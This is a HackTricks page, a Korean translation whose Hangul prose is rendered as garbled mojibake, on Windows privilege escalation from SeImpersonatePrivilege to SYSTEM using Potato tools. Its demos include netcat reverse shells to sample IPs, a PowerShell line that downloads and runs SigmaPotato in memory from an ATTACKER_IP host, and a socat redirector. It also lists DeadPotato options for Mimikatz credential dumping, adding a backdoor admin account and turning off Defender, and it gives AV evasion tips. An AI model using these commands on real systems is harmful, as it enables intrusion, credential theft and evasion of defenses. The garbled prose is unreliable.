RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Warning
JuicyPotato๋ Windows Server 2019 ๋ฐ Windows 10 ๋น๋ 1809 ์ดํ ๋ฒ์ ์์ ์๋ํ์ง ์์ต๋๋ค. ๊ทธ๋ฌ๋ PrintSpoofer, RoguePotato, SharpEfsPotato, GodPotato, EfsPotato, DCOMPotato**๋ ๋์ผํ ๊ถํ์ ์ด์ฉํด
NT AUTHORITY\SYSTEM์์ค์ ์ ๊ทผ์ ํ๋ํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค. ์ด blog post๋PrintSpoofer๋๊ตฌ์ ๋ํด ์ฌ์ธต์ ์ผ๋ก ์ค๋ช ํ๋ฉฐ, JuicyPotato๊ฐ ๋ ์ด์ ์๋ํ์ง ์๋ Windows 10 ๋ฐ Server 2019 ํธ์คํธ์์ impersonation privileges๋ฅผ ์ ์ฉํ๋ ๋ฐฉ๋ฒ์ ๋ค๋ฃน๋๋ค.
Tip
2024โ2025๋ ์ ์์ฃผ ์ ์ง๋๋ ํ๋์ ์ธ ๋์์ SigmaPotato(GodPotato์ ํฌํฌ)๋ก, ์ธ๋ฉ๋ชจ๋ฆฌ/.NET ๋ฆฌํ๋ ์ ์ฌ์ฉ๊ณผ ํ์ฅ๋ OS ์ง์์ ์ถ๊ฐํฉ๋๋ค. See quick usage below and the repo in References.
Related pages for background and manual techniques:
SeImpersonate from High To System
From High Integrity to SYSTEM with Name Pipes
์๊ตฌ์ฌํญ ๋ฐ ์ผ๋ฐ์ ์ธ ์ฃผ์์ฌํญ
๋ค์์ ๋ชจ๋ ๊ธฐ๋ฒ์ ๋ค์ ๊ถํ ์ค ํ๋๋ฅผ ๋ณด์ ํ ์ปจํ ์คํธ์์ impersonation-capableํ ํน๊ถ ์๋น์ค๋ฅผ ์ ์ฉํ๋ ๋ฐ ์์กดํฉ๋๋ค:
- SeImpersonatePrivilege (๊ฐ์ฅ ํํจ) ๋๋ SeAssignPrimaryTokenPrivilege
- ํ ํฐ์ ์ด๋ฏธ SeImpersonatePrivilege๊ฐ ์๋ ๊ฒฝ์ฐ High integrity๋ ํ์ํ์ง ์์ต๋๋ค (IIS AppPool, MSSQL ๋ฑ ๋ง์ ์๋น์ค ๊ณ์ ์์ ์ผ๋ฐ์ ์)
๊ถํ์ ๋น ๋ฅด๊ฒ ํ์ธ:
whoami /priv | findstr /i impersonate
์ด์ ๋ ธํธ:
- ์์ด SeImpersonatePrivilege ๊ถํ์ด ์๋ ์ ํ๋ ํ ํฐ(์ผ๋ถ ์ปจํ
์คํธ์์ Local Service/Network Service์ ํํจ)์ผ๋ก ์คํ๋๋ ๊ฒฝ์ฐ, FullPowers๋ฅผ ์ฌ์ฉํด ๊ณ์ ์ ๊ธฐ๋ณธ ๊ถํ์ ๋ณต์ํ ๋ค Potato๋ฅผ ์คํํ์ธ์. ์:
FullPowers.exe -c "cmd /c whoami /priv" -z - PrintSpoofer๋ Print Spooler ์๋น์ค๊ฐ ์คํ ์ค์ด๋ฉฐ ๋ก์ปฌ RPC ์๋ํฌ์ธํธ(spoolss)๋ฅผ ํตํด ์ ๊ทผ ๊ฐ๋ฅํด์ผ ํฉ๋๋ค. PrintNightmare ์ดํ Spooler๊ฐ ๋นํ์ฑํ๋ ๊ฐํ๋ ํ๊ฒฝ์์๋ RoguePotato/GodPotato/DCOMPotato/EfsPotato๋ฅผ ์ ํธํ์ธ์.
- RoguePotato๋ TCP/135์์ ์ ๊ทผ ๊ฐ๋ฅํ OXID resolver๊ฐ ํ์ํฉ๋๋ค. egress๊ฐ ์ฐจ๋จ๋ ๊ฒฝ์ฐ ๋ฆฌ๋๋ ํฐ/ํฌํธ ํฌ์๋๋ฅผ ์ฌ์ฉํ์ธ์(์๋ ์ ์ฐธ์กฐ). ์ด์ ๋น๋๋ -f ํ๋๊ทธ๊ฐ ํ์ํ์ต๋๋ค.
- EfsPotato/SharpEfsPotato๋ MS-EFSR์ ์ ์ฉํฉ๋๋ค; ํ๋์ pipe๊ฐ ์ฐจ๋จ๋๋ฉด ๋ค๋ฅธ pipe๋ค(lsarpc, efsrpc, samr, lsass, netlogon)์ ์๋ํด๋ณด์ธ์.
- RpcBindingSetAuthInfo ๋์ค ๋ฐ์ํ๋ ์ค๋ฅ 0x6d3์ ์ผ๋ฐ์ ์ผ๋ก ์ ์ ์๊ฑฐ๋ ์ง์๋์ง ์๋ RPC ์ธ์ฆ ์๋น์ค์์ ๋ํ๋ ๋๋ค; ๋ค๋ฅธ pipe/transport๋ฅผ ์๋ํ๊ฑฐ๋ ๋์ ์๋น์ค๊ฐ ์คํ ์ค์ธ์ง ํ์ธํ์ธ์.
- DeadPotato์ ๊ฐ์ โKitchen-sinkโ ํฌํฌ๋ ๋์คํฌ๋ฅผ ๊ฑด๋๋ฆฌ๋ ์ถ๊ฐ ํ์ด๋ก๋ ๋ชจ๋(Mimikatz/SharpHound/Defender off)์ ๋ฒ๋ค๋ก ํฌํจํฉ๋๋ค; ์ฌ๋ฆผํ ์ค๋ฆฌ์ง๋์ ๋นํด EDR ํ์ง๊ฐ ๋ ๋์ ๊ฒ์ผ๋ก ์์ํ์ธ์.
Quick Demo
PrintSpoofer
c:\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd"
--------------------------------------------------------------------------------
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
NULL
์ฐธ๊ณ :
- ํ์ฌ ์ฝ์์์ ๋ํํ ํ๋ก์ธ์ค๋ฅผ ์์ฑํ๋ ค๋ฉด -i๋ฅผ ์ฌ์ฉํ๊ฑฐ๋, ํ ์ค ๋ช ๋ น์ ์คํํ๋ ค๋ฉด -c๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
- Spooler ์๋น์ค๊ฐ ํ์ํฉ๋๋ค. ๋นํ์ฑํ๋์ด ์์ผ๋ฉด ๋์ํ์ง ์์ต๋๋ค.
RoguePotato
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l 9999
# In some old versions you need to use the "-f" param
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
outbound 135๊ฐ ์ฐจ๋จ๋ ๊ฒฝ์ฐ, redirector์์ socat์ ํตํด OXID resolver๋ฅผ pivotํ์ธ์:
# On attacker redirector (must listen on TCP/135 and forward to victim:9999)
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
# On victim, run RoguePotato with local resolver on 9999 and -r pointing to the redirector IP
RoguePotato.exe -r REDIRECTOR_IP -e "cmd.exe /c whoami" -l 9999
PrintNotifyPotato
PrintNotifyPotato๋ 2022๋
๋ง์ ๊ณต๊ฐ๋ ์ต์ COM ์ค์ฉ ํ๋ฆฌ๋ฏธํฐ๋ธ๋ก, Spooler/BITS ๋์ PrintNotify ์๋น์ค๋ฅผ ๋์์ผ๋ก ํฉ๋๋ค. ์ด ๋ฐ์ด๋๋ฆฌ๋ PrintNotify COM ์๋ฒ๋ฅผ ์ธ์คํด์คํํ๊ณ , ๊ฐ์ง IUnknown๋ฅผ ์ฝ์
ํ ๋ค์ CreatePointerMoniker๋ฅผ ํตํด ๊ถํ ์๋ ์ฝ๋ฐฑ์ ํธ๋ฆฌ๊ฑฐํฉ๋๋ค. PrintNotify ์๋น์ค(SYSTEM์ผ๋ก ์คํ)๊ฐ ๋๋์์ค๋ฉด ํ๋ก์ธ์ค๋ ๋ฐํ๋ ํ ํฐ์ ๋ณต์ ํ๊ณ ์ ๊ณต๋ ํ์ด๋ก๋๋ฅผ ์ ์ฒด ๊ถํ์ผ๋ก ์คํฐํฉ๋๋ค.
์ฃผ์ ์ด์์ ์ฃผ์์ฌํญ:
- Print Workflow/PrintNotify ์๋น์ค๊ฐ ์ค์น๋์ด ์๋ ํ Windows 10/11 ๋ฐ Windows Server 2012โ2022์์ ์๋ํฉ๋๋ค(๊ธฐ์กด Spooler๊ฐ PrintNightmare ์ดํ ๋นํ์ฑํ๋์ด ์์ด๋ ์กด์ฌํฉ๋๋ค).
- ํธ์ถ ์ปจํ ์คํธ๊ฐ SeImpersonatePrivilege ๊ถํ์ ๋ณด์ ํด์ผ ํฉ๋๋ค(์ผ๋ฐ์ ์ผ๋ก IIS APPPOOL, MSSQL ๋ฐ scheduled-task ์๋น์ค ๊ณ์ ).
- ์ง์ ๋ช ๋ น ๋๋ ๋ํํ ๋ชจ๋ ์ค ํ๋๋ฅผ ํ์ฉํ๋ฏ๋ก ์๋ ์ฝ์์ ๊ทธ๋๋ก ๋จธ๋ฌผ ์ ์์ต๋๋ค. ์:
PrintNotifyPotato.exe cmd /c "powershell -ep bypass -File C:\ProgramData\stage.ps1"
PrintNotifyPotato.exe whoami
- ์์ํ๊ฒ COM ๊ธฐ๋ฐ์ด๋ฏ๋ก named-pipe ๋ฆฌ์ค๋๋ ์ธ๋ถ ๋ฆฌ๋ค์ด๋ ํฐ๊ฐ ํ์ ์์ผ๋ฉฐ, Defender๊ฐ RoguePotato์ RPC ๋ฐ์ธ๋ฉ์ ์ฐจ๋จํ๋ ํธ์คํธ์์ ๋ฐ๋ก ๋์ฒดํ์ฌ ์ธ ์ ์์ต๋๋ค.
Ink Dragon ๊ฐ์ ์ด์์๋ค์ SharePoint์์ ViewState RCE๋ฅผ ์ป์ ์งํ PrintNotifyPotato๋ฅผ ์คํํด w3wp.exe ์์ปค์์ SYSTEM์ผ๋ก ํผ๋ฒํ ๋ค์ ShadowPad๋ฅผ ์ค์นํฉ๋๋ค.
SharpEfsPotato
> SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log"
SharpEfsPotato by @bugch3ck
Local privilege escalation from SeImpersonatePrivilege using EfsRpc.
Built from SweetPotato by @_EthicalChaos_ and SharpSystemTriggers/SharpEfsTrigger by @cube0x0.
[+] Triggering name pipe access on evil PIPE \\localhost/pipe/c56e1f1f-f91c-4435-85df-6e158f68acd2/\c56e1f1f-f91c-4435-85df-6e158f68acd2\c56e1f1f-f91c-4435-85df-6e158f68acd2
df1941c5-fe89-4e79-bf10-463657acf44d@ncalrpc:
[x]RpcBindingSetAuthInfo failed with status 0x6d3
[+] Server connected to our evil RPC pipe
[+] Duplicated impersonation token ready for process creation
[+] Intercepted and authenticated successfully, launching program
[+] Process created, enjoy!
C:\temp>type C:\temp\w.log
nt authority\system
EfsPotato
> EfsPotato.exe "whoami"
Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.
CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]
[+] Current user: NT Service\MSSQLSERVER
[+] Pipe: \pipe\lsarpc
[!] binding ok (handle=aeee30)
[+] Get Token: 888
[!] process with pid: 3696 created.
==============================
[x] EfsRpcEncryptFileSrv failed: 1818
nt authority\system
ํ: ํ pipe๊ฐ ์คํจํ๊ฑฐ๋ EDR์ด ์ฐจ๋จํ๋ฉด, ๋ค๋ฅธ ์ง์๋๋ pipes๋ฅผ ์๋ํ์ธ์:
EfsPotato <cmd> [pipe]
pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
GodPotato
> GodPotato -cmd "cmd /c whoami"
# You can achieve a reverse shell like this.
> GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
์ฐธ๊ณ :
- SeImpersonatePrivilege๊ฐ ์๋ ๊ฒฝ์ฐ Windows 8/8.1โ11 ๋ฐ Server 2012โ2022์์ ๋์ํฉ๋๋ค.
DCOMPotato
DCOMPotato๋ RPC_C_IMP_LEVEL_IMPERSONATE๋ฅผ ๊ธฐ๋ณธ๊ฐ์ผ๋ก ์ฌ์ฉํ๋ ์๋น์ค DCOM ๊ฐ์ฒด๋ฅผ ๋ ธ๋ฆฌ๋ ๋ ๊ฐ์ง ๋ณํ์ ์ ๊ณตํฉ๋๋ค. ์ ๊ณต๋ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋น๋ํ๊ฑฐ๋ ์ฌ์ฉํ ๋ค ๋ช ๋ น์ ์คํํ์ธ์:
# PrinterNotify variant
PrinterNotifyPotato.exe "cmd /c whoami"
# McpManagementService variant (Server 2022 also)
McpManagementPotato.exe "cmd /c whoami"
SigmaPotato (์ ๋ฐ์ดํธ๋ GodPotato fork)
SigmaPotato๋ in-memory execution via .NET reflection๊ณผ PowerShell reverse shell helper ๊ฐ์ ์ต์ ํธ์ ๊ธฐ๋ฅ์ ์ถ๊ฐํฉ๋๋ค.
# Load and execute from memory (no disk touch)
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
[SigmaPotato]::Main("cmd /c whoami")
# Or ask it to spawn a PS reverse shell
[SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444"))
Additional perks in 2024โ2025 builds (v1.2.x):
- ๋ด์ฅ reverse shell ํ๋๊ทธ
--revshell์ 1024-char PowerShell ์ ํ ์ ๊ฑฐ๋ก ๊ธด AMSI-bypassing payload๋ฅผ ํ ๋ฒ์ ์คํํ ์ ์์. - Reflection-friendly syntax (
[SigmaPotato]::Main()), ๊ทธ๋ฆฌ๊ณ ๋จ์ ํด๋ฆฌ์คํฑ์ ๊ต๋ํ๊ธฐ ์ํVirtualAllocExNuma()๊ธฐ๋ฐ์ ๊ธฐ๋ณธ์ ์ธ AV ์ฐํ ํธ๋ฆญ. - PowerShell Core ํ๊ฒฝ์ ์ํด .NET 2.0 ๋์์ผ๋ก ์ปดํ์ผ๋ ๋ณ๋์
SigmaPotatoCore.exe.
DeadPotato (2024 GodPotato ๋ฆฌ์ํฌ โ ๋ชจ๋ ํฌํจ)
DeadPotato๋ GodPotato OXID/DCOM impersonation chain์ ์ ์งํ๋ฉด์ post-exploitation ํฌํผ๋ฅผ ๋ด์ฅํด ์ด์์๊ฐ ์ถ๊ฐ ๋๊ตฌ ์์ด ์ฆ์ SYSTEM ๊ถํ์ ํ๋ํ๊ณ persistence/collection์ ์ํํ ์ ์๊ฒ ํ๋ค.
๊ณตํต ๋ชจ๋ (๋ชจ๋ SeImpersonatePrivilege ํ์):
-cmd "<cmd>"โ SYSTEM ๊ถํ์ผ๋ก ์์์ ๋ช ๋ น์ ์คํ.-rev <ip:port>โ ๋น ๋ฅธ reverse shell.-newadmin user:passโ persistence๋ฅผ ์ํ ๋ก์ปฌ ๊ด๋ฆฌ์ ๊ณ์ ์์ฑ.-mimi sam|lsa|allโ Mimikatz๋ฅผ ๋์คํฌ์ ๊ธฐ๋กํ์ฌ ์คํํ๊ณ ์๊ฒฉ ์ฆ๋ช ์ ๋คํํจ(๋์คํฌ ๊ธฐ๋ก ๋ฐ์, ์์ ํผ).-sharphoundโ SYSTEM์ผ๋ก SharpHound ์์ง ์คํ.-defender offโ Defender ์ค์๊ฐ ๋ณดํธ๋ฅผ ๋(๋งค์ฐ ๋์ ๋).
์์ ์๋ผ์ด๋:
# Blind reverse shell
DeadPotato.exe -rev 10.10.14.7:4444
# Drop an admin for later login
DeadPotato.exe -newadmin pwned:P@ssw0rd!
# Run SharpHound immediately after priv-esc
DeadPotato.exe -sharphound
์ถ๊ฐ ๋ฐ์ด๋๋ฆฌ๋ฅผ ํฌํจํ๊ณ ์๊ธฐ ๋๋ฌธ์ AV/EDR ๊ฒฝ๊ณ ๊ฐ ๋ ๋ง์ด ๋ฐ์ํ ์ ์์ต๋๋ค; stealth๊ฐ ์ค์ํ ๊ฒฝ์ฐ ๋ ์ฌ๋ฆผํ GodPotato/SigmaPotato๋ฅผ ์ฌ์ฉํ์ธ์.
์ฐธ๊ณ ์๋ฃ
- https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/
- https://github.com/itm4n/PrintSpoofer
- https://github.com/antonioCoco/RoguePotato
- https://github.com/bugch3ck/SharpEfsPotato
- https://github.com/BeichenDream/GodPotato
- https://github.com/zcgonvh/EfsPotato
- https://github.com/zcgonvh/DCOMPotato
- https://github.com/tylerdotrar/SigmaPotato
- https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/
- FullPowers โ Restore default token privileges for service accounts
- HTB: Media โ WMP NTLM leak โ NTFS junction to webroot RCE โ FullPowers + GodPotato to SYSTEM
- BeichenDream/PrintNotifyPotato
- Check Point Research โ Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation
- DeadPotato โ GodPotato rework with built-in post-ex modules
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


